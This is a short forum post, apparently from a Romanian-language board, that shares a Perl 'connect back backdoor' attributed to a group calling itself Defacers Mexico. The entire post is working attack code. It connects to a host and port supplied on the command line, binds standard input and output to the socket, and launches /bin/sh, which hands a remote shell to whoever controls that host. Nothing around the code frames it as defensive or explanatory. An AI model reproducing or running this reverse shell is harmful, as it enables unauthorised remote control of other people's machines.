Connect Back Backdoornn

Betiv Cultivat Data inscrierii: 20/Iul/2008 Mesaje: 58

Cod:

#!/usr/bin/perl

# Defacers Mexico - Perl Connect Back Backdoor

# Unpublished/Unreleased Source Code

use Socket;

print "Defacers Mexico Perl Connect Back Backdoor\n\n";

if (!$ARGV[0]) {

printf "Uso: $0 [Host] <Puerto>\n";

exit(1);

}

print "[*] Reuniendo Argumentos\n";

$host = $ARGV[0];

$port = 80;

if ($ARGV[1]) {

$port = $ARGV[1];

}

print "[*] Conectando...\n";

$proto = getprotobyname('tcp') || die("[-] Protocolo Desconocido\n");

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Error Socket\n");

my $target = inet_aton($host);

if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {

die("[-] Imposible Conectar\n");

}

print "[*] Enviado Shell\n";

if (!fork( )) {

open(STDIN,">&SERVER");

open(STDOUT,">&SERVER");

open(STDERR,">&SERVER");

exec {'/bin/sh'} '-bash' . "\0" x 4;

exit(0);

}

print "[*] Enviada\n\n";